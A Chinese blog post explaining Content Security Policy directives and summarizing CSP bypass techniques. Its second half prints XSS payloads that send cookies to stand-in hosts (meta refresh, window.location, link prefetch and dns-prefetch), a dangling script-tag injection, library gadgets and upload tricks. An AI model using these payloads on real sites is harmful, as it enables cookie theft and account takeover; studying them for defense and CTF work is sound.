CSP绕过总结

CSP的基础

CSP的全称Content Security Policy,用来防御XSS攻击的技术。它是一种由开发者定义的安全性政策性申明,通过CSP指定可信的内容来源,让WEB处于一个安全的运行环境中。

一个CSP头由多组CSP策略组成,中间由分号分隔,如下所示:

1
Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'

其中每一组策略包含一个策略指令和一个内容源列表。策略指令有如下选项:

指令 说明
default-src 定义资源默认加载策略
connect-src 定义 Ajax、WebSocket 等加载策略
child-src child-src 指定定义了 web workers 以及嵌套的浏览上下文(如frame和iframe)的源
font-src 定义 Font 加载策略
frame-src 定义 Frame 加载策略
img-src 定义图片加载策略
media-src 定义 \
object-src 定义 \、\、\ 等引用资源加载策略
script-src 定义 JS 加载策略
style-src 定义 CSS 加载策略
sandbox 值为 allow-forms,对资源启用 sandbox
report-uri 值为 /report-uri,提交日志

内容源有如下选项:

说明
* 通配符,允许任何URL,除了data: blob: filesystem: schemes
*.foo.com 允许加载foo.com子域的资源
abc.foo.com 只能加载这个域名下的资源
https://a.com 只能用HTTPS加载域名下的资源
https: 通过HTTPS可以加载任意域名下的资源
‘none’ 代表空集,即不匹配任何URL,两侧单引号是必须的
‘self’ 代表和文档同源,包括相同的URL协议和端口号,两侧单引号是必须的
‘unsafe-inline’ 允许使用内联资源,如内联的<script>元素、javascript: URL、内联的事件处理函数和内联的<style>元素,两侧单引号是必须的
‘unsafe-eval’ 允许使用 eval() 等通过字符串创建代码的方法,两侧单引号是必须的
data: 允许data: URI作为内容来源
mediastream: 允许mediastream: URI作为内容来源

内容源有三种:源列表、关键字和数据,其中,.foo.com,abc.foo.com,https://a.com ,https:属于源列表。’none’,’self’,’unsafe-inline’,’unsafe-eval’属于关键字。data:,mediastream:属于数据。

例子1

1
Content-Security-Policy: default-src 'self' trustedscripts.foo.com

意思就是默认的内容源必须为同源或者是 trustedscripts.foo.com

例子2

1
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:

图片源可以为同源内容或者是data:引用的资源,媒体源必须使用mediastream:引用,除此以外的都执行默认内容源判断,必须为同源内容。

CSP的进化–nonce script CSP和strict-dynamic

nonce script CSP

动态生成nonce字符串,只有包含nonce字段并字符串相等的script块可以被执行

1
2
3
4
<?php
Header("Content-Security-Policy: script-src 'nonce-".$random." '");
?>
<script nonce="<?php echo $random?>">

这个字符串可以在后端实现,每次请求都重新生成,这样就可以无视哪个域是可信的,保证所加载的任何资源都是可信的,并且还能拦截后面插入的script。

strict-dynamic

1
Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic'

SD意味着可信js生成的js代码是可信的。

这个CSP规则主要是用来适应各种各样的现代前端框架,通过这个规则,可以大幅度避免因为适应框架而变得松散的CSP规则。

CSP Bypass的方法总结

CSP对前端攻击的防御主要有两个:

  • 1.限制js的执行。
  • 2.限制对不可信域的请求。

接下来的多种Bypass手段也是围绕这两种的

url跳转

在default-src ‘none’的情况下,可以使用meta标签实现跳转

1
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过

1
2
3
<script>
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>

\标签配合站内的某些可控JS点击操作来跳转

1
2
3
4
<script>
$(#foo).click()
</script>
<a id="foo" href="xxxxx.com">

利用网站本身的跳转接口

1
http://foo.com/jmp.php?url=attack.com

\标签预加载
CSP对link标签的预加载功能考虑不完善。在Chrome下,可以使用如下标签发送cookie或者其他数据

1
<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">

在Firefox下无法用prefetch,因为Firefox有更高的安全规范,但是我们可以使用其他的方式,比如dns-prefetch,将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie

1
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">

link标签除了这两种rel,还有preconnect、prerender、subresource、preload等

利用浏览器补全

有些网站限制只有某些脚本才能使用,往往会使用<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样

1
Content-Security-Policy: default-src 'none';script-src 'nonce-abc'

那么当脚本插入点为如下的情况时

1
2
<p>插入点</p>
<script nonce="abc">document.write('CSP');</script>

可以插入

1
<script src=//attack.com a="

这里利用浏览器的容错机制会拼成一个新的script标签,其中的src可以自由设定

1
2
<p><script src=//attack.com a="</p>
<script" nonce="abc">document.write('CSP');</script>

代码重用

Blackhat2017上有篇ppt总结了可以被用来绕过CSP的一些JS库。
例如假设页面中使用了Jquery-mobile库,并且CSP策略中包含”script-src ‘unsafe-eval’”或者”script-src ‘strict-dynamic’”,那么下面的向量就可以绕过CSP

1
<div data-role=popup id='<script>alert(1)</script>'></div>

在这个PPT之外的还有一些库也可以被利用,例如RCTF2018中遇到的amp库,下面的标签可以获取名字为FLAG的cookie

1
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

文件上传

1
Content-Security-Policy: default-src 'self'; script-src 'self'

内网存在上传点,上传文件会被重写为文件,link包含形成xss漏洞

1
<link rel='import' href='/upload/xxxxx'>

使用 Wave 文件绕过 (后端会进行文件格式校验)

1
<script src="https://xx/uploads/xx.wave"></script>

在绕过文件格式检查之后,js 会根据文件格式给定一个 MIME-TYPE,在带入 src 属性的时候,audio 的 Type 会和可执行脚本产生冲突,因此 wav 文件无法代入,而 wave 在 MIME 转换的名单之外,因此在上传成功 wave 文件时,其 MIME-TYPE 并不会与 src 冲突


此外还有:
利用CSS 静态xss 获取nonce值

利用跨域传输数据 0ctf https://lorexxar.cn/2018/04/10/0ctf2018-club2/

利用CSS 静态xss 获取nonce值 https://hurricane618.me/2018/06/30/csp-bypass-summary/#%E5%88%A9%E7%94%A8CSS-%E9%9D%99%E6%80%81xss-%E8%8E%B7%E5%8F%96nonce%E5%80%BC

meta标签 https://www.jianshu.com/p/f1de775bc43e

利用文件上传执行JS

base标签

iframe


REF

https://www.jianshu.com/p/f1de775bc43e

http://heartsky.info/2017/03/03/%E9%82%A3%E4%BA%9B%E5%B9%B4%E6%88%91%E4%BB%AC%E7%BB%95%E8%BF%87%E7%9A%84CSP/

https://lorexxar.cn/2016/08/08/ccsp/#Bypass-CSP

https://hurricane618.me/2018/06/30/csp-bypass-summary/

文章作者: Ginove
文章链接: https://ginove.github.io/2018/12/20/CSP绕过总结/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Ginove